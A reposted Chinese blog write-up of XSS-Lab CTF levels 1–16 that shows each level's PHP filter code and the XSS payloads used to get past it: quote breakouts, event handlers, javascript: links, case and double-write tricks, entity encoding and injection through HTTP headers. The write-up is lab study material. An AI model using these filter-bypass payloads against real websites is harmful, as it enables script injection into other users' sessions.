iis服务器助手广告广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >XSS-Lab(XSS注入笔记1-16)
  • 415
分享到

XSS-Lab(XSS注入笔记1-16)

xssphp安全web安全ctf 2023-08-31 22:08:30 415人浏览 独家记忆
摘要

前言 本篇博客主要是记录笔者完成XSS-Lab步骤以及分析 题目链接:https://buuoj.cn/challenges GitHub仓库:https://github.com/rebo-rn/x

前言

本篇博客主要是记录笔者完成XSS-Lab步骤以及分析

题目链接:https://buuoj.cn/challenges

GitHub仓库:https://github.com/rebo-rn/xss-lab

出题人的题解:https://github.com/Re13orn/xss-lab/blob/master/XSSwrite up.docx

ps:仓库可以看代码即白盒测试

level1(直接注入)

在这里插入图片描述
我们发现网址后面有一个name的参数,猜测这里是否存在注入,我们先随便输入一个参数,例如name=kaptree,我们可以看到直接就显示欢迎kaptree

在这里插入图片描述

于是我们这里直接注入name=

ok,成功注入

在这里插入图片描述

level2(闭合标签)

在这里插入图片描述
我们发现有一个输入框,于是先认为这里可以注入,填上keyWord=,我们发现并不能注入

在这里插入图片描述
我们直接看一下相应的源码

DOCTYPE html><html><head><meta Http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!"); window.location.href="level3.PHP?writing=wait"; }script><title>欢迎来到level2title>head><body><h1 align=center>欢迎来到level2h1><h2 align=center>没有找到和<script>alert(1)</script>相关的结果.h2><center><fORM action=level2.php method=GET><input name=keyword  value=""><input type=submit name=submit value="搜索"/>form>center><center><img src=level2.png>center><h3 align=center>payload的长度:25h3>body>html>

我们发现这里他直接把我们输入的内容进行替换,于是我们通过"绕过,即keyword=">

在这里插入图片描述

level3(绕过htmlspecials()函数)

在这里插入图片描述
仍然先尝试level2的方式注入,发现并没有用,于是我们打开网页代码看看

在这里插入图片描述

DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!"); window.location.href="level4.php?keyword=try harder!"; }script><title>欢迎来到level3title>head><body><h1 align=center>欢迎来到level3h1><h2 align=center>没有找到和"><script>alert(1)</script>相关的结果.h2><center><form action=level3.php method=GET><input name=keyword  value='"><script>alert(1)</script>'><input type=submit name=submit value=搜索 />form>center><center><img src=level3.png>center><h3 align=center>payload的长度:27h3>body>html>

我们发现我们输入里面的标识符都被替换成了转义符,于是我们不能使用刚才的方式了,我们发现'没被替换,于是我们可以给当前的位置绑定一个点击事件:keyword=' onclick='alert(1) ,然后需要点击一下输入框

在这里插入图片描述

level4(onclick绕过)

在这里插入图片描述
尝试之前的注入方式,发现行不通,然后查看源码

DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!"); window.location.href="level5.php?keyword=find a way out!"; }script><title>欢迎来到level4title>head><body><h1 align=center>欢迎来到level4h1><h2 align=center>没有找到和' οnclick='alert(1)相关的结果.h2><center><form action=level4.php method=GET><input name=keyword  value="' οnclick='alert(1)"><input type=submit name=submit value=搜索 />form>center><center><img src=level4.png>center><h3 align=center>payload的长度:19h3>body>html>

猜测是双引号的问题,于是:

keyword=" onclick="alert(1)

在这里插入图片描述

level5(绕过检测

在这里插入图片描述
尝试之前的注入方式,发现并不能注入,此时查看返回的代码:

DOCTYPE html><html><head><meta http-equiv="content-type" content="text/html;charset=utf-8"><script>window.alert = function()  {     confirm("完成的不错!"); window.location.href="level6.php?keyword=break it out!"; }script><title>欢迎来到level5title>head><body><h1 align=center>欢迎来到level5h1><h2 align=center>没有找到和" οnclick="alert(1)相关的结果.h2><center><form action=level5.php method=GET><input name=keyword  value="" o_nclick="alert(1)"><input type=submit name=submit value=搜索 />form>center><center><img src=level5.png>center><h3 align=center>payload的长度:20h3>body>html>

发现我们的onclick被过滤了,我们再试试之前的keyword=">,发现

<input name=keyword  value=""><scr_ipt>alert(1)script>">

发现关键词也被过滤了,于是我们使用标签绕过,即keyword=">javascript:alert(1)" 然后点击一下图片或者下方的文字即可

在这里插入图片描述
在源文件中我们也可以看到,有一些关键字被过滤掉了,即on

 ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace(",",$str);$str3=str_replace("on","o_n",$str2);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">
'
;?>

level6(大小写绕过)

在这里插入图片描述

同样,我们先尝试之前的注入方式

<input name=keyword  value=""><a hr_ef="javascript:alert(1)">

我们发现它把href也过滤了,于是我们直接明牌!,看一下它代码:

 ini_set("display_errors", 0);$str = $_GET["keyword"];$str2=str_replace(",",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
;?>

我们发现,onsrcdatahref 这几个关键字被过滤掉了,因为是直接过滤的,而html中大小写是不敏感的,于是我们直接变一下大小写即可keyword=">

level7(双写绕过标签过滤)

在这里插入图片描述

老样子,我们先试一下之前的注入,结果发现script直接被过滤了

<input name=keyword  value="">

我们打开源码看看

 ini_set("display_errors", 0);$str =strtolower( $_GET["keyword"]);$str2=str_replace("script","",$str);$str3=str_replace("on","",$str2);$str4=str_replace("src","",$str3);$str5=str_replace("data","",$str4);$str6=str_replace("href","",$str5);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
;?>

这里将keyword转为小写然后再直接过滤的了,那么我们可以嵌套一下,例如:

如果我们想得到script显然这里会直接替换掉关键字,那么我们就可以传入sscriptcript,这样被替换后就是我们想要的script了,同理href替换为hhrefref,即:keyword=">

level8(ASCII编码绕过)

在这里插入图片描述
我们使用上一个注入方式,发现这次没有对keyword做过滤,而是做了一个转义符的替换

<input name=keyword  value=""><a hhrefref="javasscriptcript:alert(1)">

没思路,于是看看源码

 ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','"',$str6);echo '
.htmlspecialchars($str).'">
'
;?><?php echo '

.$str7.'">友情链接
'
;?>

我们发现两个地方可能存在渗透,第一个就是我们之前一直注入的input框,看了源码后发现没想到啥方法注入,反而是友情链接这里,我们发现$str7 只是做了一个简单的字符过滤,于是我们直接在这里将javascript:alert(1)中的字符使用HTML字符实体转换后注入即可:keyword=javascript:alert(1)

HTML字符实体转换器:https://www.qqxiuzi.cn/bianma/zifushiti.php

在这里插入图片描述

level9(必要字段+ASCII编码绕过)

在这里插入图片描述
先把上一个注入操作复刻一下,但是发现不合法

center><center><BR><a href="您的链接不合法?有没有!">友情链接a>center><center><img src=level9.png>center>

于是我们打开源码:

 ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script","scr_ipt",$str);$str3=str_replace("on","o_n",$str2);$str4=str_replace("src","sr_c",$str3);$str5=str_replace("data","da_ta",$str4);$str6=str_replace("href","hr_ef",$str5);$str7=str_replace('"','"',$str6);echo '
.htmlspecialchars($str).'">
'
;?><?phpif(false===strpos($str7,'http://')){ echo '

友情链接
'
; }else{ echo '

.$str7.'">友情链接
'
;}?>

我们发现多了一个if(false===strpos($str7,'http://')),也就是说在传入的数据中需要含有http://,那我们直接放在alert中即可,于是得到:

keyword=javascript:alert('http://')

然后点一下这个 友情链接
在这里插入图片描述

level10(利用hidden参数传递数据)

在这里插入图片描述
直接看源码吧:

 ini_set("display_errors", 0);$str = $_GET["keyword"];$str11 = $_GET["t_sort"];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
;?>

我们发现注入点可能是t_sort,然后发现过滤了<>两个符号,那直接绑定onmouseover事件注入即可,注意的是这里的typehidden的,我们需要改一下,不然就点不到了,于是得到 t_sort=" onmouseover='alert(1)' type="text,当然绑定onclick事件也是可以的t_sort=" onclick='alert(1)' type="text

不同的是前者只需要鼠标移过去触发,后者需要点一下输入框

在这里插入图片描述

level11(REFERER注入)

在这里插入图片描述

 ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_REFERER'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
;?>

查看源码,我们发现,可能存在渗透的地方就是HTTP_REFERER,因为t_sort这里直接使用htmlspecialchars转义了,而$str33只是过滤了><,所以只需要携带一个注入的语句访问网站即可,于是我们这里使用hackbar然后访问目标网址即可,Referer:" onclick='alert(1)' type="text

然后鼠标点一下框就行

在这里插入图片描述

level12(USER_AGENT注入)

在这里插入图片描述

 ini_set("display_errors", 0);$str = $_GET["keyword"];$str00 = $_GET["t_sort"];$str11=$_SERVER['HTTP_USER_AGENT'];$str22=str_replace(">","",$str11);$str33=str_replace("<","",$str22);echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
;?>

看完源码后发现……(这里其实也可以不看源码,直接看html的返回的内容也能猜出),和上面差不多,只不过注入的位置变成了USER_AGENT,那么直接开注!

USER_AGENT:" onclick='alert(1)' type="text

在这里插入图片描述

level13(cookies注入)

在这里插入图片描述
看了一眼相应代码,猜测是cookies注入,于是冲一发:cookies:user=" onclick='alert(1)' type="text

在这里插入图片描述

然后成功注入~

level14(利用文件解析xss)

打不开这个,貌似是网站http://www.exifviewer.org/ 挂掉了,那就算过了吧~

看了一下作者的解法

在这里插入图片描述

level15

吐了,也打开不了,那个啥js加载不了了

level 16(回车替换空格)

在这里插入图片描述

找不到注入点,于是我们看看源码:

 ini_set("display_errors", 0);$str = strtolower($_GET["keyword"]);$str2=str_replace("script"," ",$str);$str3=str_replace(" "," ",$str2);$str4=str_replace("/"," ",$str3);$str5=str_replace(""," ",$str4);echo "
".$str5."
"
;?>

原来是传入keyword然后过滤数据,只有这个注入点了,我们又发现script /这三个字符都被过滤了,于是我们考虑传入标签,然后用%0a(换行符)代替空格,即keyword=

在这里插入图片描述

level17

寄,显示不出来,好像后面的都是这样

在这里插入图片描述

做题小结(出题人的)

做了20题(14题)下来,可以发现难度是依次上升的。
这里主要谈谈个人做题的一个基本思路。一般看到一道题目后,先观察题目的类型,猜想哪个地方哪个参数可能存在注入,也就是前期分析,往下是代码分析,具体分析网页的源代码甚至可以的话看看题目代码,可以加深对题目做了怎样的限制的认知,再往下,就是不断尝试,输入自己构造好的测试payload来做更多的判断。有的题目你可能一时找不到注入点,你可以用BURP抓包看看到底具体数据在哪个位置传输,有可能是HTTP头部的某一个字段也可能是正文部分。后面几道较难的是,这几题前提是你需要了解某些知识后才能做得出来,比如某某框架存在xss漏洞,或者某种文件解析可以解析xss等等,这时可以去乌云知识库去查查,一般都能找到对应的知识模块。
题目分析+测试语句+代码分析

基础测试语句:
'';!--"=&{()}

绕过:大小写,编码,双写等等

来源地址:https://blog.csdn.net/m0_46201544/article/details/127578322

--结束END--

本文标题: XSS-Lab(XSS注入笔记1-16)

本文链接: https://www.lsjlt.com/news/387256.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • XSS-Lab(XSS注入笔记1-16)
    前言 本篇博客主要是记录笔者完成XSS-Lab步骤以及分析 题目链接:https://buuoj.cn/challenges Github仓库:https://github.com/rebo-rn/x...
    99+
    2023-08-31
    xss php 安全 web安全 ctf
  • Xss-labs 第 1 - 10 关 通过笔记
    第一关 看源代码,在 内有test的内容 发现url上有test 没用任何过滤 构造payload alert(1) 通过 第二关 看源代码,在 和 内有test的内容 试试搜索框输入payload : alert(1) 发现在 h...
    99+
    2023-08-31
    1024程序员节 xss web安全 安全 php
  • nginx如何防止xss和sql注入
    nginx防止xss和sql注入的方法:将以下nginx配置文件代码放入到对应站点的.conf 配置文件server里,重启nginx即可,代码如下:if($request_method !~* GET|POST){return444;}#...
    99+
    2024-04-02
  • 如何防止xss和sql注入攻击
    防止xss和sql注入攻击的通用方法:php防sql注入和xss攻击通用过滤如下:function string_remove_xss($html) {preg_match_all("/\...
    99+
    2024-04-02
  • 前端如何防止xss和sql注入
    前端防止xss和sql注入的方法:使用php语言进行预防xss和sql注入,代码如下:function string_remove_xss($html) {preg_match_all("/\...
    99+
    2024-04-02
  • 如何理解sql注入和xss攻击
    SQL注入攻击是指通过构建特殊的输入作为参数传入Web应用程序,一般是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作;而Xss攻击称为跨站脚本攻击,它是一种经常出现在web应用中的计算机安全漏洞,因Web应用程序对用户的...
    99+
    2024-04-02
  • SpringBoot防止XSS注入攻击的方法
    这篇文章将为大家详细讲解有关SpringBoot防止XSS注入攻击的方法,小编觉得挺实用的,因此分享给大家做个参考,希望大家阅读完这篇文章后可以有所收获。什么是 XSS 攻击在跨站脚本(XSS)攻击中,攻击者可以在受害者的浏览器中执行恶意脚...
    99+
    2023-06-15
  • SpringBoot如何防止XSS注入攻击详解
    什么是 XSS 攻击 在跨站脚本(XSS)攻击中,攻击者可以在受害者的浏览器中执行恶意脚本。这种攻击通常是通过在网页中插入恶意代码 (JavaScript) 来完成的。攻击者在使用...
    99+
    2024-04-02
  • SQL注入、XSS和CSRF指的是什么意思
    这篇文章主要介绍SQL注入、XSS和CSRF指的是什么意思,文中介绍的非常详细,具有一定的参考价值,感兴趣的小伙伴们一定要看完!SQL注入SQL注入是属于注入式攻击,这种攻击是因为在项目中没有将代码与数据(...
    99+
    2024-04-02
  • 使用springMVC通过Filter实现防止xss注入
    springMVC Filter防止xss注入 跨站脚本工具(cross 斯特scripting),为不和层叠样式表(cascading style sheets,CSS)的缩写混淆...
    99+
    2024-04-02
  • 如何使用springMVC通过Filter实现防止xss注入
    本篇内容介绍了“如何使用springMVC通过Filter实现防止xss注入”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!springMVC...
    99+
    2023-06-20
  • 带你理解什么是sql注入攻击、xss攻击和cors攻击
    目录SQL注入SQL注入攻击的总体思路:SQL注入攻击实例:如何应对:XSS攻击非持久 XSS攻击:解决的具体方案:CORS攻击简单请求:非简单请求:SQL注入 SQL注入就是通过把...
    99+
    2023-05-16
    sql注入攻击 xss攻击 cors攻击
  • (MYSQL学习笔记5)防止SQL注入
    MYSQL服务器并不存在共享池(我也不清楚共享池是什么)的概念,所以在MYSQL上使用绑定变量最大的好处就是为了防止SQL注入。PHP例子:$stmt = $dbh -> prepare("SELEC...
    99+
    2024-04-02
  • Vue3学习笔记之依赖注入Provide/Inject
    Provide / Inject 通常,当我们需要从父组件向子组件传递数据时,我们使用 props。想象一下这样的结构:有一些深度嵌套的组件,而深层的子组件只需要父组件的部...
    99+
    2023-05-19
    vue3依赖注入provide/Inject vue3依赖注入 vue3 provide/Inject
  • 安全漏洞XSS、CSRF、SQL注入以及DDOS攻击的介绍和应对措施
    本篇内容介绍了“安全漏洞XSS、CSRF、SQL注入以及DDOS攻击的介绍和应对措施”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!0 ...
    99+
    2023-06-17
  • .NET学习笔记之默认依赖注入
    介绍 不要依赖于具体的实现,应该依赖于抽象,高层模块不应该依赖于底层模块,二者应该依赖于抽象。简单的说就是为了更好的解耦。而控制反转(Ioc)就是这样的原则的其中一个实现思路, 这...
    99+
    2024-04-02
  • 利用sqlmap进行post注入学习笔记
    了解sqlmap sqlmap是一款开源、功能强大的自动化SQL注入工具,支持Access,MySQL,Oracle,SQL Server,DB2等多种数据库。支持get,post ,cookie注入,支持基于布尔的盲注,基于时间的盲注,...
    99+
    2023-08-31
    网络安全 mysql web安全 Powered by 金山文档
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作